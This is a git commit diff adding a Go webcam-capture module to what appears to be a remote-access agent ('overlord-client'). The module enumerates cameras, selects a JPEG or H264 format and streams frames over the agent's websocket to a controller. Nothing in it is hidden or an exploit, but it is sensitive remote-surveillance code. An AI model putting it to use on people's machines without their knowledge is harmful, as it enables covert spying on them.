webcam
This commit is contained in:
@@ -0,0 +1,23 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
type WebcamDeviceInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
MaxFPS int
|
||||
}
|
||||
|
||||
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||
return []WebcamDeviceInfo{}, nil
|
||||
}
|
||||
|
||||
func ClampWebcamFPS(_ int, requestedFPS int, _ bool) (int, error) {
|
||||
if requestedFPS < 1 {
|
||||
requestedFPS = 30
|
||||
}
|
||||
if requestedFPS > 120 {
|
||||
requestedFPS = 120
|
||||
}
|
||||
return requestedFPS, nil
|
||||
}
|
||||
@@ -0,0 +1,161 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"math"
|
||||
|
||||
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||
)
|
||||
|
||||
type WebcamDeviceInfo struct {
|
||||
Index int
|
||||
Name string
|
||||
MaxFPS int
|
||||
}
|
||||
|
||||
func ListWebcams() ([]WebcamDeviceInfo, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
temporaryInit := false
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return nil, fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
temporaryInit = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return nil, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
|
||||
out := make([]WebcamDeviceInfo, 0, len(devices))
|
||||
for i, dev := range devices {
|
||||
name := dev.Name
|
||||
if name == "" {
|
||||
name = fmt.Sprintf("Camera %d", i+1)
|
||||
}
|
||||
maxFPS := 30
|
||||
if webcamActive != nil && webcamActive.deviceIndex == i && webcamActive.captureFPS > 0 {
|
||||
maxFPS = int(math.Round(webcamActive.captureFPS))
|
||||
} else if fps, fpsErr := webcamMaxSupportedFPSNoLock(dev.SymbolLink); fpsErr == nil && fps > 0 {
|
||||
maxFPS = fps
|
||||
}
|
||||
out = append(out, WebcamDeviceInfo{Index: i, Name: name, MaxFPS: maxFPS})
|
||||
}
|
||||
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func ClampWebcamFPS(deviceIndex int, requestedFPS int, useMax bool) (int, error) {
|
||||
if requestedFPS < 1 {
|
||||
requestedFPS = 30
|
||||
}
|
||||
if requestedFPS > 120 {
|
||||
requestedFPS = 120
|
||||
}
|
||||
|
||||
maxFPS, err := webcamMaxSupportedFPS(deviceIndex)
|
||||
if err != nil {
|
||||
return requestedFPS, err
|
||||
}
|
||||
if maxFPS <= 0 {
|
||||
return requestedFPS, nil
|
||||
}
|
||||
if useMax || requestedFPS > maxFPS {
|
||||
return maxFPS, nil
|
||||
}
|
||||
return requestedFPS, nil
|
||||
}
|
||||
|
||||
func webcamMaxSupportedFPS(deviceIndex int) (int, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
if webcamActive != nil && webcamActive.deviceIndex == deviceIndex && webcamActive.captureFPS > 0 {
|
||||
return int(math.Round(webcamActive.captureFPS)), nil
|
||||
}
|
||||
|
||||
temporaryInit := false
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return 0, fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
temporaryInit = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
if len(devices) == 0 {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, fmt.Errorf("no webcam devices detected")
|
||||
}
|
||||
if deviceIndex < 0 || deviceIndex >= len(devices) {
|
||||
deviceIndex = 0
|
||||
}
|
||||
|
||||
maxFPS, err := webcamMaxSupportedFPSNoLock(devices[deviceIndex].SymbolLink)
|
||||
if err != nil {
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
if temporaryInit && webcamActive == nil {
|
||||
cam.Shutdown()
|
||||
webcamInitDone = false
|
||||
}
|
||||
|
||||
return maxFPS, nil
|
||||
}
|
||||
|
||||
func webcamMaxSupportedFPSNoLock(symbolLink string) (int, error) {
|
||||
device, err := cam.OpenDevice(symbolLink)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("open webcam failed: %w", err)
|
||||
}
|
||||
defer device.CloseDevice()
|
||||
|
||||
formats, err := device.EnumerateCaptureFormats()
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||
}
|
||||
|
||||
maxFPS := 0
|
||||
for _, format := range formats {
|
||||
if !isJPEGSubtype(format) && !isH264Subtype(format) {
|
||||
continue
|
||||
}
|
||||
fps := int(math.Round(format.Fps))
|
||||
if fps > maxFPS {
|
||||
maxFPS = fps
|
||||
}
|
||||
}
|
||||
|
||||
return maxFPS, nil
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build !windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
)
|
||||
|
||||
func NowWebcam(_ context.Context, _ *rt.Env) error {
|
||||
return errors.New("webcam capture is only supported on Windows")
|
||||
}
|
||||
|
||||
func CleanupWebcam() {
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
cam "github.com/Kirizu-Official/windows-camera-go/camera/v1"
|
||||
"github.com/Kirizu-Official/windows-camera-go/windows/guid"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
type webcamState struct {
|
||||
deviceIndex int
|
||||
device *cam.Device
|
||||
capture *cam.CaptureSync
|
||||
format string
|
||||
captureFPS float64
|
||||
}
|
||||
|
||||
var (
|
||||
webcamMu sync.Mutex
|
||||
webcamInitDone bool
|
||||
webcamActive *webcamState
|
||||
)
|
||||
|
||||
func NowWebcam(ctx context.Context, env *rt.Env) error {
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
capture, deviceIndex, format, err := ensureWebcamCapture(env.WebcamDeviceIndex)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
sample, err := capture.GetFrame()
|
||||
if err != nil {
|
||||
resetWebcamState()
|
||||
return err
|
||||
}
|
||||
if sample == nil || sample.PpSample == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
buffer, err := capture.Device.ParseSampleToBuffer(sample.PpSample)
|
||||
if err != nil {
|
||||
sample.Release()
|
||||
return err
|
||||
}
|
||||
if buffer == nil {
|
||||
sample.Release()
|
||||
return nil
|
||||
}
|
||||
|
||||
frameBytes := make([]byte, int(buffer.Length))
|
||||
copy(frameBytes, buffer.Buffer[:buffer.Length])
|
||||
buffer.Release()
|
||||
sample.Release()
|
||||
|
||||
frame := wire.Frame{
|
||||
Type: "frame",
|
||||
Header: wire.FrameHeader{
|
||||
Monitor: deviceIndex,
|
||||
FPS: 0,
|
||||
Format: format,
|
||||
Webcam: true,
|
||||
},
|
||||
Data: frameBytes,
|
||||
}
|
||||
if ctx.Err() != nil {
|
||||
return nil
|
||||
}
|
||||
// Do not use the stream-cancel context for socket writes; canceling an in-flight
|
||||
// write during webcam_stop can tear down the whole websocket on some transports.
|
||||
writeCtx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
defer cancel()
|
||||
return wire.WriteMsg(writeCtx, env.Conn, frame)
|
||||
}
|
||||
|
||||
func CleanupWebcam() {
|
||||
webcamMu.Lock()
|
||||
closeWebcamLocked()
|
||||
webcamMu.Unlock()
|
||||
}
|
||||
|
||||
func ensureWebcamCapture(requestedIndex int) (*cam.CaptureSync, int, string, error) {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
|
||||
if requestedIndex < 0 {
|
||||
requestedIndex = 0
|
||||
}
|
||||
if webcamActive != nil && webcamActive.capture != nil && webcamActive.deviceIndex == requestedIndex {
|
||||
return webcamActive.capture, webcamActive.deviceIndex, webcamActive.format, nil
|
||||
}
|
||||
|
||||
closeWebcamLocked()
|
||||
|
||||
if !webcamInitDone {
|
||||
if err := cam.Init(); err != nil {
|
||||
return nil, 0, "", fmt.Errorf("webcam init failed: %w", err)
|
||||
}
|
||||
webcamInitDone = true
|
||||
}
|
||||
|
||||
devices, err := cam.EnumDevice()
|
||||
if err != nil {
|
||||
return nil, 0, "", fmt.Errorf("webcam enumerate failed: %w", err)
|
||||
}
|
||||
if len(devices) == 0 {
|
||||
return nil, 0, "", fmt.Errorf("no webcam devices detected")
|
||||
}
|
||||
if requestedIndex >= len(devices) {
|
||||
requestedIndex = 0
|
||||
}
|
||||
|
||||
deviceInfo := devices[requestedIndex]
|
||||
device, err := cam.OpenDevice(deviceInfo.SymbolLink)
|
||||
if err != nil {
|
||||
return nil, 0, "", fmt.Errorf("open webcam failed: %w", err)
|
||||
}
|
||||
|
||||
formats, err := device.EnumerateCaptureFormats()
|
||||
if err != nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("enumerate webcam formats failed: %w", err)
|
||||
}
|
||||
if len(formats) == 0 {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("no webcam capture formats available")
|
||||
}
|
||||
selected, selectedFormat := selectWebcamFormat(formats)
|
||||
if selected == nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("no JPEG/H264 webcam format available")
|
||||
}
|
||||
capture, err := device.StartCapture(selected)
|
||||
if err != nil {
|
||||
device.CloseDevice()
|
||||
return nil, 0, "", fmt.Errorf("start webcam capture failed: %w", err)
|
||||
}
|
||||
|
||||
webcamActive = &webcamState{
|
||||
deviceIndex: requestedIndex,
|
||||
device: device,
|
||||
capture: capture,
|
||||
format: selectedFormat,
|
||||
captureFPS: selected.Fps,
|
||||
}
|
||||
log.Printf("webcam: selected device=%q index=%d format=%s %dx%d@%.2ffps", deviceInfo.Name, requestedIndex, selectedFormat, selected.Width, selected.Height, selected.Fps)
|
||||
return capture, requestedIndex, selectedFormat, nil
|
||||
}
|
||||
|
||||
func selectWebcamFormat(formats []*cam.CaptureFormats) (*cam.CaptureFormats, string) {
|
||||
var best *cam.CaptureFormats
|
||||
bestScore := -1.0
|
||||
bestFormat := ""
|
||||
for _, format := range formats {
|
||||
streamFormat := ""
|
||||
if isJPEGSubtype(format) {
|
||||
streamFormat = "jpeg"
|
||||
} else if isH264Subtype(format) {
|
||||
streamFormat = "h264"
|
||||
}
|
||||
if streamFormat == "" {
|
||||
continue
|
||||
}
|
||||
score := formatScore(format)
|
||||
if streamFormat == "jpeg" {
|
||||
score += 100_000_000
|
||||
}
|
||||
if streamFormat == "h264" && !format.IsCompressedFormat {
|
||||
// Prefer compressed H264 camera output where available.
|
||||
score -= 10_000_000
|
||||
}
|
||||
if score > bestScore {
|
||||
best = format
|
||||
bestScore = score
|
||||
bestFormat = streamFormat
|
||||
}
|
||||
}
|
||||
return best, bestFormat
|
||||
}
|
||||
|
||||
func isJPEGSubtype(format *cam.CaptureFormats) bool {
|
||||
if format == nil || format.SubType == nil {
|
||||
return false
|
||||
}
|
||||
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeMJPG) ||
|
||||
format.SubType.IsMatch(&guid.SubTypeMediaSubTypeIJPG)
|
||||
}
|
||||
|
||||
func isH264Subtype(format *cam.CaptureFormats) bool {
|
||||
if format == nil || format.SubType == nil {
|
||||
return false
|
||||
}
|
||||
return format.SubType.IsMatch(&guid.SubTypeMediaSubTypeH264)
|
||||
}
|
||||
|
||||
func formatScore(format *cam.CaptureFormats) float64 {
|
||||
if format == nil {
|
||||
return -1
|
||||
}
|
||||
score := float64(format.Width*format.Height) + format.Fps*1000
|
||||
if format.IsCompressedFormat {
|
||||
score += 5_000_000
|
||||
}
|
||||
if isJPEGSubtype(format) {
|
||||
score += 10_000_000
|
||||
}
|
||||
if format.MajorType != nil && (*format.MajorType).IsMatch(&guid.MajorTypeVideo) {
|
||||
score += 1_000_000
|
||||
}
|
||||
return score
|
||||
}
|
||||
|
||||
func resetWebcamState() {
|
||||
webcamMu.Lock()
|
||||
defer webcamMu.Unlock()
|
||||
if webcamActive != nil {
|
||||
webcamActive.device.CloseDevice()
|
||||
webcamActive = nil
|
||||
}
|
||||
}
|
||||
|
||||
func closeWebcamLocked() {
|
||||
if webcamActive != nil {
|
||||
webcamActive.device.CloseDevice()
|
||||
webcamActive = nil
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user